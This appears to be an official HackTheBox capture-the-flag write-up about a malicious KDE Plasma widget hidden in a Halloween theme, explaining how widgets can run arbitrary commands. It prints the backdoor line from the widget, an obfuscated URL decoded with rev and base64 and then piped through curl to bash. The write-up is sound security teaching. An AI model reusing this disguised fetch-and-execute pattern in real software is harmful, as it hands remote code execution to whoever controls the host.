



HACKTHEBOX



Sp00ky Theme

5th October 2024 / Document No. D24.102.180

Prepared By: `c4n0pus`

Challenge Author(s): `c4n0pus`

Difficulty: **Very Easy**

Classification: Official

Synopsis

- A very easy challenge that features a malicious Plasma 6 plasmoid (widget) that executes rogue commands

Description

- I downloaded a very nice Halloween global theme for my Plasma installation and a couple of widgets! It was supposed to keep the bad spirits away while I was improving my ricing skills... However, now strange things are happening and I can't figure out why...

Skills Required

- N/A

Skills Learned

- Plasma Themes
- Obscure Linux Backdoors

Enumeration

We are given a zip file that contains a folder called `plasma` and inside it contains a couple of directories

- `look-and-feel`
- `plasmoids`
- `desktoptheme`

The `look-and-feel` directory stores the Global Theme configuration for each global theme.

The `plasmoid` directory contains the downloaded widgets (either manually or as a dependency for a global theme)

Recently there was quite a big controversy where a user installed a Global Theme and it ended up deleting their `$HOME` folder! More about it, and how it happened [here](#)

As it turns out, the widgets have direct access to execute arbitrary commands because that's inherently their function! ie: getting CPU usage using `cat /proc/stat` and then aggregating it using `awk` and passing it to the widget for styling and display.

But what happens if a malicious actor creates a theme and publishes it without any vetting? The above theme did not have any malicious intentions (allegedly), just a versioning issue that created a weird command line that removed the home folder. Regardless, the issue here was the lack of vetting, which might as well be a malicious command.

Solution

Navigating into the `plasmoids` folder and then into the `netspeedWidget` folder we find the `metadata.json` file and `contents` folder. After digging around we find these two lines in the `utils.js` file:

```
const NET_DATA_SOURCE =  
    "awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev";  
  
const PLASMOID_UPDATE_SOURCE =  
    "UPDATE_URL=$(echo 952MwBHNo91b0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d);  
curl $UPDATE_URL:1992/update_sh | bash"
```

The first one aggregates all traffic from all network interfaces as so:

```
$> awk -v OFS=, 'NR > 2 { print substr($1, 1, length($1)-1), $2, $10 }' /proc/net/dev  
  
lo,78647312,78647312  
wlo1,12638777329,734054168  
tailscale0,2408137,3591611  
vboxnet0,0,56383
```

Then it's up to the widget to parse it further.

The next command seemingly defines an update URL and then curls some data from it and pipes it to bash!

Running the command that creates the URL reveals the flag!

```
$> echo 952MwBHNo91b0M2X0FzX/Eycz02MoR3X5J2XkNjb3B3eCRFS | rev | base64 -d
```

```
HTB{REDACTED}
```

In response the KDE devs removed the Theme in Question, issued a [response](#) and urged users to report any wrongdoing in the KDE Store.